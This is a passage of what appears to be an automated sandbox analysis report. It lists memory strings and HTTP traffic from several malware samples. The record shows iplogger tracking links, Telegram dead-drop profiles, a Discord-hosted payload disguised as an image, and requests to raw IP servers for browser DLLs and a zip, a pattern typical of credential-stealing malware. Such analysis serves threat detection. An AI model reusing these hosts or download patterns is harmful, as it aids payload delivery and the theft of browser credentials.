Source: em1B8DcC72.exe, 00000001.00000003.415279884.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AZmX4e
Source: em1B8DcC72.exe, 00000001.00000003.415279884.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1AZmX4o
Source: brokerius.exe, 0000001B.00000000.401599963.0000000000924000.00000002.00000001.01000000.0000000D.sdmp, brokerius.exe, 0000001B.00000002.846627950.0000000000924000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://mas.to/
Source: freebl3.dll.16.dr, mozglue.dll.16.dr	String found in binary or memory: https://mozilla.org0
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://ogs.google.com
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://optimizationguide-pa.googleapis.com
Source: d0b5d58d-9d34-4068-aadd-a1e718bedb3f_Zone.Identifier.35.dr	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1660568541167&target=OPTIMIZATION_TARGET_
Source: 668ba4ff-b5da-4b4a-8659-7d8d22acac4d_Zone.Identifier.37.dr	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=2202180000&target=OPTIMIZATION_TARGET_SEG
Source: craw_window.js.3.dr	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://play.google.com
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://r4---sn-5hneknee.gvt1.com
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://redirector.gvt1.com
Source: craw_window.js.3.dr	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
Source: F0geI.exe, 00000010.00000003.450878255.00000000007D2000.00000004.00000020.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.934759170.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.937747351.00000000031A3000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.929045080.00000000030D2000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.931287871.0000000002CF2000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.932599013.0000000002F80000.00000004.00000800.00020000.00000000.sdmp, 31448762808696279021307573.21.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: F0geI.exe, 00000010.00000003.450878255.00000000007D2000.00000004.00000020.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.934759170.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.937747351.00000000031A3000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.929045080.00000000030D2000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.931287871.0000000002CF2000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.932599013.0000000002F80000.00000004.00000800.00020000.00000000.sdmp, 31448762808696279021307573.21.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: F0geI.exe, 00000010.00000003.450878255.00000000007D2000.00000004.00000020.00020000.00000000.sdmp, 31448762808696279021307573.21.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: F0geI.exe, 00000010.00000003.450878255.00000000007D2000.00000004.00000020.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.934759170.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.937747351.00000000031A3000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.929045080.00000000030D2000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.931287871.0000000002CF2000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.932599013.0000000002F80000.00000004.00000800.00020000.00000000.sdmp, 31448762808696279021307573.21.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://ssl.gstatic.com
Source: real.exe, 00000015.00000002.881023621.0000000001063000.00000002.00000001.01000000.0000000A.sdmp, real.exe, 00000015.00000000.379314046.0000000001063000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://t.me/spmhaus
Source: real.exe, 00000015.00000002.881023621.0000000001063000.00000002.00000001.01000000.0000000A.sdmp, real.exe, 00000015.00000000.379314046.0000000001063000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://t.me/spmhaushttps://c.im/
Source: brokerius.exe, 0000001B.00000000.401599963.0000000000924000.00000002.00000001.01000000.0000000D.sdmp, brokerius.exe, 0000001B.00000002.846627950.0000000000924000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://t.me/v_total
Source: brokerius.exe, 0000001B.00000000.401599963.0000000000924000.00000002.00000001.01000000.0000000D.sdmp, brokerius.exe, 0000001B.00000002.846627950.0000000000924000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://t.me/v_totalhttps://mas.to/
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://update.googleapis.com
Source: real.exe, 00000015.00000003.404313021.0000000000EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: craw_window.js.3.dr, craw_background.js.3.dr	String found in binary or memory: https://www-googleapis-staging.sandbox.google.com
Source: freebl3.dll.16.dr, mozglue.dll.16.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://www.google-analytics.com
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://www.google.com
Source: craw_window.js.3.dr	String found in binary or memory: https://www.google.com/accounts/OAuthLogin?issueuberauth=1
Source: F0geI.exe, 00000010.00000003.450878255.00000000007D2000.00000004.00000020.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.934759170.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.937747351.00000000031A3000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.929045080.00000000030D2000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.931287871.0000000002CF2000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.932599013.0000000002F80000.00000004.00000800.00020000.00000000.sdmp, 31448762808696279021307573.21.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: craw_window.js.3.dr	String found in binary or memory: https://www.google.com/images/cleardot.gif
Source: craw_window.js.3.dr	String found in binary or memory: https://www.google.com/images/dot2.gif
Source: craw_window.js.3.dr	String found in binary or memory: https://www.google.com/images/x2.gif
Source: craw_background.js.3.dr	String found in binary or memory: https://www.google.com/intl/en-US/chrome/blank.html
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, craw_window.js.3.dr, craw_background.js.3.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://www.googleapis.com
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://www.googletagmanager.com
Source: d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	String found in binary or memory: https://www.gstatic.com
Source: SETUP_~1.EXE, 00000026.00000003.527804378.0000000005AD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: SETUP_~1.EXE, 00000026.00000003.527804378.0000000005AD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson

Source: unknown

DNS traffic detected: queries for: dns.google

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe

Code function: 16_2_00407EDB LocalAlloc,LocalAlloc,StrStrW,lstrlenW,LocalAlloc,LocalAlloc,LocalFree,WideCharToMultiByte,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,lstrlen,lstrcpyn,LocalFree,LocalFree,GetFileSize,LocalAlloc,lstrlen,lstrcpyn,ReadFile,ReadFile,CloseHandle,LocalFree,DeleteFileW,LocalFree,LocalFree,LocalAlloc,lstrlen,lstrcpyn,lstrcpyn,lstrlen,LocalFree,InternetOpenW,InternetSetOptionW,InternetSetOptionW,InternetConnectW,HttpOpenRequestW,HttpOpenRequestW,lstrlenW,HttpSendRequestW,HttpSendRequestW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,lstrlen,MultiByteToWideChar,MultiByteToWideChar,LocalAlloc,lstrlen,MultiByteToWideChar,MultiByteToWideChar,LocalFree,LocalFree,LocalFree,LocalFree,

16_2_00407EDB

Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-104.0.5112.81Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /1ARmX4 HTTP/1.1Host: iplogger.orgConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /1AEmX4 HTTP/1.1Host: iplogger.orgConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /1AAmX4 HTTP/1.1Host: iplogger.orgConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: iplogger.orgConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://iplogger.org/1AAmX4Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: clhf03028ja=84.17.52.7; 398144331410413575=1; 398144441410413575=1; 398144251410413575=1
Source: global traffic	HTTP traffic detected: GET /1AAmX4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: iplogger.org
Source: global traffic	HTTP traffic detected: GET /1AGmX4 HTTP/1.1Host: iplogger.orgConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: clhf03028ja=84.17.52.7; 398144331410413575=1; 398144441410413575=1; 398144251410413575=1
Source: global traffic	HTTP traffic detected: GET /1AGmX4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: iplogger.orgCookie: clhf03028ja=84.17.52.7; 398144441410413575=1
Source: global traffic	HTTP traffic detected: GET /1AEmX4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: iplogger.orgCookie: clhf03028ja=84.17.52.7; 398144441410413575=1; 398144901410413575=1
Source: global traffic	HTTP traffic detected: GET /1ARmX4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: iplogger.orgCookie: clhf03028ja=84.17.52.7; 398144441410413575=1; 398144901410413575=1; 398144251410413575=1
Source: global traffic	HTTP traffic detected: GET /1AFmX4 HTTP/1.1Host: iplogger.orgConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: clhf03028ja=84.17.52.7; 398144331410413575=1; 398144441410413575=1; 398144251410413575=1; 398144901410413575=1
Source: global traffic	HTTP traffic detected: GET /1AJmX4 HTTP/1.1Host: iplogger.orgConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: clhf03028ja=84.17.52.7; 398144331410413575=1; 398144441410413575=1; 398144251410413575=1; 398144901410413575=1; 398144741410413575=1
Source: global traffic	HTTP traffic detected: GET /1AFmX4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: iplogger.orgCookie: clhf03028ja=84.17.52.7; 398144441410413575=1; 398144901410413575=1; 398144251410413575=1; 398144331410413575=1
Source: global traffic	HTTP traffic detected: GET /1AJmX4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: iplogger.orgCookie: clhf03028ja=84.17.52.7; 398144441410413575=1; 398144901410413575=1; 398144251410413575=1; 398144331410413575=1; 398144741410413575=1
Source: global traffic	HTTP traffic detected: GET /1AKmX4 HTTP/1.1Host: iplogger.orgConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: clhf03028ja=84.17.52.7; 398144331410413575=1; 398144441410413575=1; 398144251410413575=1; 398144901410413575=1; 398144741410413575=1; 398145021410413575=1
Source: global traffic	HTTP traffic detected: GET /1AVmX4 HTTP/1.1Host: iplogger.orgConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: clhf03028ja=84.17.52.7; 398144331410413575=1; 398144441410413575=1; 398144251410413575=1; 398144901410413575=1; 398144741410413575=1; 398145021410413575=1; 398145071410413575=1
Source: global traffic	HTTP traffic detected: GET /1AKmX4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: iplogger.orgCookie: clhf03028ja=84.17.52.7; 398144441410413575=1; 398144901410413575=1; 398144251410413575=1; 398144331410413575=1; 398144741410413575=1; 398145021410413575=1
Source: global traffic	HTTP traffic detected: GET /1AVmX4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: iplogger.orgCookie: clhf03028ja=84.17.52.7; 398144441410413575=1; 398144901410413575=1; 398144251410413575=1; 398144331410413575=1; 398144741410413575=1; 398145021410413575=1; 398145071410413575=1
Source: global traffic	HTTP traffic detected: GET /1AZmX4 HTTP/1.1Host: iplogger.orgConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: clhf03028ja=84.17.52.7; 398144331410413575=1; 398144441410413575=1; 398144251410413575=1; 398144901410413575=1; 398144741410413575=1; 398145021410413575=1; 398145071410413575=1; 398145381410413575=1
Source: global traffic	HTTP traffic detected: GET /1AZmX4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: iplogger.orgCookie: clhf03028ja=84.17.52.7; 398144441410413575=1; 398144901410413575=1; 398144251410413575=1; 398144331410413575=1; 398144741410413575=1; 398145021410413575=1; 398145071410413575=1; 398145381410413575=1
Source: global traffic	HTTP traffic detected: GET /spmhaus HTTP/1.1Host: t.me
Source: global traffic	HTTP traffic detected: GET /IXlgfrm HTTP/1.1Host: cutt.lyConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/1006526153294618657/1009394950338781266/2.0.2-beta_Nwjkxkwv.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll HTTP/1.1Content-Type: text/plain;User-Agent: qwrqrwrqwrqwrHost: 45.95.11.158Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll HTTP/1.1Content-Type: text/plain;User-Agent: qwrqrwrqwrqwrHost: 45.95.11.158Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll HTTP/1.1Content-Type: text/plain;User-Agent: qwrqrwrqwrqwrHost: 45.95.11.158Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll HTTP/1.1Content-Type: text/plain;User-Agent: qwrqrwrqwrqwrHost: 45.95.11.158Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1571 HTTP/1.1Host: 135.181.104.248
Source: global traffic	HTTP traffic detected: GET /7810405426.zip HTTP/1.1Host: 135.181.104.248Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll HTTP/1.1Content-Type: text/plain;User-Agent: qwrqrwrqwrqwrHost: 45.95.11.158Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll HTTP/1.1Content-Type: text/plain;User-Agent: qwrqrwrqwrqwrHost: 45.95.11.158Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll HTTP/1.1Content-Type: text/plain;User-Agent: qwrqrwrqwrqwrHost: 45.95.11.158Connection: Keep-AliveCache-Control: no-cache

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
